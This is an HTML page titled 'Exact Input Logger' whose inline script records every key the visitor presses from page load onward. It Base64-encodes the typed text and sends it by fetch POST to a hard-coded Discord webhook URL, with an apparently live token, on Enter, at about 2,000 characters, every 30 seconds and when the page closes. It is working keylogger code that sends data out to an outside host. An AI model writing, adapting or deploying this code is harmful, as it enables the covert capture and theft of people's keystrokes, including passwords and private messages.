<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Exact Input Logger</title>
    <script>
        const webhookURL = "https://discord.com/api/webhooks/1315621051866288190/G1fe5RFSiWWXDe7_3gaHuCnRRtgznfH5vU8I9GRAnz_HZnS0ilEk-fwjLnE9T-zSoN8Z"; // Replace this with your actual webhook URL
        let typedString = "";
        let sendTimer;
        let lastSentString = ""; // Variable to track the last sent string

        // Base64 encoding function
        function encodeBase64(str) {
            return btoa(str);
        }

        // Send the payload only if it's different from the last sent string
        async function sendResults() {
            if (typedString === lastSentString) {
                console.log("Same string, not sending.");
                return; // Prevent sending if it's the same as last sent
            }

            try {
                const encodedString = encodeBase64(typedString); // Encrypt payload with Base64 encoding
                console.log("Sending payload (Base64 encoded): ", encodedString);

                await fetch(webhookURL, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ content: encodedString })
                });

                console.log("Results sent.");
                lastSentString = typedString; // Update the last sent string
            } catch (error) {
                console.error("Error sending data to Discord:", error);
            }
        }

        // Handle keypress logging
        function trackKeypresses(event) {
            if (event.key === "Enter") {
                sendResults();
                resetTimer();
                return;
            }

            typedString += event.key;

            if (typedString.length >= 1999) {
                sendResults();
                resetTimer();
            }
        }

        function resetTimer() {
            if (sendTimer) clearTimeout(sendTimer);
            sendTimer = setTimeout(sendResults, 30000); // Send results automatically every 30 seconds
        }

        window.onload = () => {
            document.addEventListener('keydown', trackKeypresses);
            resetTimer();
        };

        window.onbeforeunload = sendResults;
    </script>
</head>
<body>
    <h1>Type your string here</h1>
    <p>Type anything you want, and it will be sent exactly as typed upon Enter or timeout. Payload will be Base64-encoded before sending.</p>
</body>
</html>
